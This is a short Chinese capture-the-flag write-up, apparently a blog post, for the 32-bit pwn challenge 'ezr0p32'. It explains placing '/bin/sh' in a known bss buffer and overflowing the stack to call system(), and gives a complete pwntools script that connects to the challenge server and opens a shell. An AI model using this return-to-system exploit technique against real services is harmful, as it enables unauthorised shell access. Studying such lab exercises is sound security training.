2025 SWPU-NSSCTF 秋季招新入门 ezr0p32

首先查看一下文件的保护措施
image
然后用ida打开看一下
image
可以看到这里已经有system函数了,关键要找到/bin/sh参数的位置,然而文件的字符串里并没有
在这个函数里第一个read是向bss中的buf写入数据,并且这里的起始地址是知道的,且没有开启PIE保护,那就可以直接向这里写入/bin/sh
第二个read函数就可以进行栈溢出了

点击查看代码
from pwn import *
io=remote("node5.anna.nssctf.cn",21738)
payload1=b"/bin/sh\x00"
io.sendlineafter("please tell me your name",payload1)
binsh=0x0804A080
system=0x080483D0 
payload2=b"A"*(0x1c+4)+p32(system)+p32(0)+p32(binsh)
io.sendlineafter("now it's your play time~",payload2)
io.interactive()
posted @ 2025-09-03 16:38  Rye01R  阅读(19)  评论(0)    收藏  举报